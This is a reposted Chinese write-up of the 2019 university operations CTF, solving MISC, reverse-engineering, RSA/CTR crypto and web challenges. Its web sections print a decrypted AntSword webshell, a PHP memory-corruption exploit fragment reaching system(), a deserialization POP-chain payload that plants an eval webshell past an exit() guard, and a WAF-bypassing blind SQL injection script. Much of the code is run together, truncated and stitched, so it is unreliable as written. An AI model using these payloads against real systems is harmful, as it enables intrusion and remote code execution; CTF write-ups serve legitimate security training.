当前位置:首页 > 全能助手 > 正文

2019 高校运维赛 writeup

原创:MARS合天智汇MISC0x01misc1f=open('724c6e962216407fa5fa1ad7efda2653_misc1_','rb')b=()a=[]max=int(0)min=int(999)foriinb:t=iift=max:max=iif...

原创:MARS合天智汇MISC0x01misc1f=open('724c6e962216407fa5fa1ad7efda2653_misc1_','rb')b=()a=......

原创:MARS合天智汇

MISC

0x01misc1
f=open('724c6e962216407fa5fa1ad7efda2653_misc1_','rb')b=()a=[]max=int(0)min=int(999)foriinb:t=iift=max:max=iift=min:min=(hex(i))print(hex(max))print(hex(min))

导出数据观察可以发现最小值为0x2,最大值为0xF9,根据判断可见字符在这个范围内的应该为EBCDIC编码,且是CP1146(IBMEBCDIC英国编码)可以编写解码脚本

importcodecsimportebcdicdefdecode():("724c6e962216407fa5fa1ad7efda2653_misc1_",'rb')asinput_file:print(input_().decode('cp1146'))decode()ñBuCðCx:¦@B©B£BvC·BðB¯BlB¾$EBCDIC:/eb´s@·dik/,/eb´see`dik/,/eb´k@·dik/,n.[abbreviation,ExtedBinaryCodedDecimalInterchangeCode],allfeaturingsuchdelightsasnon-contiguouslettersequencesandtheabsenceofseveralASCIIpunctuationcharactersfairlyimportantformoderncomputerlanguages(exactlywhichcharactersareabsentvariesaccordingtowhichversionofEBCDICyou'relookingat).IBMadaptedEBCDICfrompunchedcardcodeintheearly1960sandpromulgateditasacustomer-controltactic(seeconnectorconspiracy),,IBMclaimstobeanopen-systemscompany,butIBM'sowndescriptionoftheEBCDICvariantsandhowtoconvertbetweenthemisstillinternallyclassifiedtop-secret,{0a07c11e46af753fd24d40023f0fdce1}

最简单的方法是使用WPSWord打开文件,文件-文件-重新载入-IBMEBCDIC英国编码

0x02misc2
-*-coding:utf-8-*-importosfromflaskimportrequestfromflaskimportFlasksecret=open('/flag','rb')('/flag')app=Flask(__name__)_key='015b9efef8f51c00bcba57ca8c56d77a'@('/')defindex():returnopen(__file__).read()@("/r",methods=['POST'])defr():data=["data"](data):returnopen(data).read()return''if__name__=='__main__':(host='0.0.0.0',port=8000,debug=False)

存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag

data=/proc/self/fd/3
0x02misc3

使用010editor等十六进制编辑器打开html文件,可看见存在一段由序列E2808C和序列E2808B组成的隐藏字符,把E2808C视为0,E2808B视为1进行转换可得flag在Chrome浏览器的开发者工具中打开也可以发现

0827h:E2808CE2808BE2808BE2808CE2808CE2‌​​‌‌â0837h:808BE2808BE2808CE2808CE2808BE280€‹â€‹â€Œâ€Œâ€‹â€0847h:8BE2808CE2808BE2808BE2808CE2808C‹â€Œâ€‹â€‹â€Œâ€Œ0857h:E2808CE2808BE2808BE2808CE2808CE2‌​​‌‌â0867h:808CE2808CE2808BE2808CE2808BE280€Œâ€Œâ€‹â€Œâ€‹â€0877h:8BE2808CE2808CE2808BE2808BE2808B‹â€Œâ€Œâ€‹â€‹â€‹0887h:E2808CE2808BE2808BE2808BE2808BE2‌​​​​â0897h:808CE2808BE2808BE2808CE2808BE280€Œâ€‹â€‹â€Œâ€‹â€0000h:0110011001101100011000010110011101111011011001010011001001100001flag{e2a0008h:00111001011000110011100001100010001100010011000100110111001101019c8b11750010h:0110010100110110001101100110001101100110001100100011000101100110e66cf21f0018h:00111000001101010011100100110011011000100110001100111000001101018593bc850020h:011000100110011000111001001100110011100101111101bf939}
0x03webshell

分析流量可知,在服务器上执行的shell解密后大致如下

?php@ini_set("display_errors","0");@set_time_limit(0);functionasenc($out){@session_start();$key='f5045b05abe6ec9b1e37fafa851f5de9';return@base64_encode(openssl_encrypt(base64_encode($out),'AES-128-ECB',$key,OPENSSL_RAW_DATA));};;functionasoutput(){$output=ob_get_contents();ob__clean();echo"8c2b4";echo@asenc($output);echo"e2e10";}ob_start();try{$p=base64_decode($_POST["0x1b4d456c7297d"]);$s=base64_decode($_POST["0xb9b45688a5a08"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c\"{$s}\"":"/c\"{$s}\"";$r="{$p}{$c}";functionfe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)is_callable($f)!in_array($f,$d));};functionruncmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('antsystem')){@antsystem($c);}else{$ret=127;}return$ret;};$ret=@runcmd($r."21");print($ret!=0)?"ret={$ret}":"";;}catch(Exception$e){echo"ERROR://".$e-getMessage();};asoutput();die();?//ed3edq113

在第七个HTTP流中,读取了flag

In[4]:('Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==')Out[4]:b'cd"/var/www/html/tmp";catflag|base64;echo[S];pwd;echo[E]'

flag经过了一层base64加密,在asoutput方法中增加了前后缀,然后在套一下base64,顺便AES加密响应的内容如下:

kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5

解密脚本

?php$r=file_get_contents("enc");$key='f5045b05abe6ec9b1e37fafa851f5de9';echoopenssl_decrypt(base64_decode($r),'AES-128-ECB',$key,OPENSSL_RAW_DATA);?

拿到flag:flag{AntSword_is_Powerful_3222222!!!!}

re

re1

init_array和fini_array都有一个函数,在init_array里的函数里加了反调,直接patch即可,然后还把key修改了

for(j=0;j=15;++j){result=aThisIsNotKey;aThisIsNotKey[j]^=7u;}

然后fini_array才是最后的比较函数

for(i=0;i=15;++i){result=(unsigned__int8)byte_202040[i+0x10];if(byte_2020E0[i]!=(_BYTE)result)v2=0;}

加密函数是RC4算法,解题脚本为:

="sontXntXihsXlb~"data="A"*0x10rc41=(key)importre+41549*a1[26]+36806*a1[23]+42821*a1[20]+17994*a1[17]+25687*a1[10]+143*a1[4]+8682*a1[1]-20022*a1[3]-57775*a1[6]-41070*a1[8]-6946*a1[12]-46495*a1[15]-27782*a1[18]-15428*a1[25]-49235*a1[29]+28539*a1[31]==-15479857'''matrix=[0foriinrange(32)]f=("([+-]?)([0-9]*)",a[i]).groups()[0]iff!='':value=-1*valuepassmatrix[idx]=valueforiinmatrix:m=(',')[99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,99,89]flag=''.join([chr(i)foriinres])printflag

crypto

rsa1

*importgmpy2importrandomwhileTrue:p=int(_prime((10**399,10**400-1)))q=int(str(p)[200:]+str(p)[:200])_prime(q):breakm=bytes_to_long(FLAG)n=p*qe=65537c=pow(m,e,n)withopen("enc","wb")asf:(str(c))("\n")(str(n))

p和q都是400位的数,p和q前后200相反

可以设p=a*pow(10,200)+bq=b*pow(10,200)+a

所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b

可以将n的前200位和后200位凭借得到a*b

再用n减去a*b部分得到a*a+b*b

求出a,b后再求出p,q

*importgmpy2importrandomfromgmpy2import*n=21495084373744640919209544078533985809575546480463980354529412530785625473760754732439125780326368457468669079939309254988798546461285723886473373303125498138906070676516943105284895688829248266341927910752956683422994063067478059256865734197564060950391628474755898899339368523760705608037386873926432108865666640246406274193339219055643198791035199487274034356658280883106673608852733376201126327353306554048410596408742403064796108530024591023069747837834886684043455692047810194387033643274333303926423370062572301e=65537nnn1=int(str(n)[:200])-1nnn2=int(str(n)[600:])ab=int(str(nnn1)+str(nnn2))ab=2149508437374464091920954407853398580957554648046398035452941253078562547376075473243912578032636845746866907993930925498879854646128126673608852733376201126327353306554048410596408742403064796108530024591023069747837834886684043455692047810194387033643274333303926423370062572301a2b2=n-(pow(10,400)+1)*abprinta2b2t=a2b2/pow(10,200)(a+b)**2print"(a+b)**2:",t1(a-b)**2print"(a-b)**2:",t2(a+b)tt2=iroot(t2,2)[0]print"(a-b):",tt2!/usr/bin/envpython3forxinrange(0x20,0x7f):forxinrange(92,93):print(x*30)p=remote("111.186.57.123",10001)("flag:b")enc_flag=("\n",drop=True)exec("enc_flag="+enc_flag)foriinrange(30):("plaintext:")plaintext=chr(x)*29+chr(x+i)(('hex'))("ciphertext:b")ciphertext=("\n",drop=True)exec("ciphertext="+ciphertext)res=long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))ifcheck(res):printres

最终sum(flag)在2760到2790之间

flag为flag{Don't_Reu5e_n0nCe_1n_CTR}

web

ezupload

!---/.拿到源码

?phpPT_LOAD,PF_Read_WritePT_LOAD,PF_Read_exec$text_size=$p_memsz;}}if(!$data_addr||!$text_size||!$data_size)returnfalse;return[$data_addr,$text_size,$data_size];}functionget_basic_funcs($base,$elf){list($data_addr,$text_size,$data_size)=$elf;for($i=0;$i$data_size/8;$i++){$leak=leak($data_addr,$i*8);if($leak-$base0$leak-$base$text_size){$deref=leak($leak);'bin2hex'constantcheckif($deref!=0x786568326e6962)continue;}elsecontinue;return$data_addr+$i*8;}}functionget_binary_base($binary_leak){$base=0;$start=$binary_leak0xfffffffffffff000;for($i=0;$i0x1000;$i++){$addr=$start-0x1000*$i;$leak=leak($addr,0,7);if($leak==0x10102464c457f){systemreturnleak($addr+8);}$addr+=0x20;}while($f_entry!=0);returnfalse;}classryat{var$ryat;var$chtg;function__destruct(){$this-chtg=$this-ryat;$this-ryat=1;}}classHelper{public$a,$b,$c,$d;}if(stristr(PHP_OS,'WIN')){die('ThisPoCisfor*nixsystemsonly.');}$n_alloc=10;leaks$closure_handlers=str2ptr($abc,0);$php_heap=str2ptr($abc,0x58);$abc_addr=$php_heap-0xc8;fakereferencewrite($abc,0x10,$abc_addr+0x60);write($abc,0x18,0xa);$closure_obj=str2ptr($abc,0x20);$binary_leak=leak($closure_handlers,8);if(!($base=get_binary_base($binary_leak))){die("Couldn'tdeterminebinarybaseaddress");}if(!($elf=parse_elf($base))){die("Couldn'tparseELFheader");}if(!($basic_funcs=get_basic_funcs($base,$elf))){die("Couldn'tgetbasic_functionsaddress");}if(!($zif_system=get_system($basic_funcs))){die("Couldn'tgetzif_systemaddress");}pwnwrite($abc,0x20,$abc_addr+$fake_obj_offset);write($abc,0xd0+0x38,1,4);internalfunchandler($helper-b)($cmd);exit();}----------1608040292

ezpop

?phperror_reporting(0);classA{protected$store;protected$key;protected$expire;publicfunction__construct($store,$key='flysystem',$expire=null){$this-key=$key;$this-store=$store;$this-expire=$expire;}publicfunctioncleanContents(array$contents){$cachedProperties=array_flip(['path','dirname','basename','extension','filename','size','mimetype','visibility','timestamp','type',]);foreach($contentsas$path=$object){if(is_array($object)){$contents[$path]=array_intersect_key($object,$cachedProperties);}}return$contents;}publicfunctiongetForStorage(){$cleaned=$this-cleanContents($this-cache);returnjson_encode([$cleaned,$this-complete]);}publicfunctionsave(){$contents=$this-getForStorage();$this-store-set($this-key,$contents,$this-expire);}publicfunction__destruct(){if(!$this-autosave){$this-save();}}}classB{protectedfunctiongetExpireTime($expire):int{return(int)$expire;}publicfunctiongetCacheKey(string$name):string{return$this-options['prefix'].$name;}protectedfunctionserialize($data):string{if(is_numeric($data)){return(string)$data;}$serialize=$this-options['serialize'];return$serialize($data);}publicfunctionset($name,$value,$expire=null):bool{$this-writeTimes++;if(is_null($expire)){$expire=$this-options['expire'];}$expire=$this-getExpireTime($expire);$filename=$this-getCacheKey($name);$dir=dirname($filename);if(!is_dir($dir)){try{mkdir($dir,0755,true);}catch(\Exception$e){//创建失败}}$data=$this-serialize($value);if($this-options['data_compress']function_exists('gzcompress')){//数据压缩$data=gzcompress($data,3);}$data="?php\n//".sprintf('%012d',$expire)."\nexit();?\n".$data;$result=file_put_contents($filename,$data);if($result){returntrue;}returnfalse;}}if(isset($_GET['src'])){highlight_file(__FILE__);}$dir="uploads/";if(!is_dir($dir)){mkdir($dir);}unserialize($_GET["data"]);

构造pop链

通过触发A::__destruct()=A::save()=A::store-set()==b::set()最后触发$result=file_put_contents($filename,$data);

绕过exit通过让$filename为php://filter/write=/resource=uploads/

因为php中的base64_decode函数会忽略不符合base64编码的字符,将合法字符组成一个新的字符串进行解码,所以最终被解码的字符仅有php00000000exit和我们传入的$data变量,因为base64算法解码时是4个byte一组,所以我们只要控制我们需要真正解码内容的前面部分字符长度为4的倍数就行

详细可以参考p师傅的博客link

$filename

在B::getCacheKey($name)中,将$this-options['prefix']和$name拼接得到

构造B::options和A::key使$filename为php://filter/write=/resource=uploads/

$data

由$value=A::getForStorage()和B::serialize($value)得到

构造A的cache为数组['path'='a','dirname'=base64_encode('?phpeval($_GET[a]);?')];

就可以使得$value=A::getForStorage()的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然后再构造B的serialize值为serialize就可以使得B::serialize($value)的值为‌s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirname和PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被编码成功绕过exit

payload

?phpclassA{protected$store;protected$key;protected$expire;public$cache=[];public$complete=true;publicfunction__construct(){$this-store=newB();$this-key='';$this-cache=['path'='a','dirname'=base64_encode('?phpeval($_GET[a]);?')];}}classB{public$options=['serialize'='serialize','prefix'='php://filter/write=/resource=uploads/',];}echourlencode(serialize(newA()));

ezjjava

ezwaf

题目

?phpinclude"";if(isset($_GET['src'])){highlight_file(__FILE__);}functionescape($arr){global$mysqli;$newarr=array();foreach($arras$key=$val){if(!is_array($val)){$newarr[$key]=mysqli_real_escape_string($mysqli,$val);}}return$newarr;}$_GET=escape($_GET);if(isset($_GET['name'])){$name=$_GET['name'];mysqli_query($mysqli,"selectagefromuserwherename='$name'");}elseif(isset($_GET['age'])){$age=$_GET['age'];mysqli_query($mysqli,"selectnamefromuserwhereage=$age");}

选择age作为注入点,不需要逃逸引号,没有回显利用时间盲注

?age=1%2bsleep(1)=403

apache设置了waf

用畸形的http包绕过modsecurity

importsocketip='111.186.57.43'port=10601defs_raw(raw):try:_connection((ip,port),timeout=4)asconn:(raw)res=(10240).decode()print(exp)ifs_raw(exp):res+=chr(j)print(res)continue

不稳定的话时间可以调大一点

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

最新文章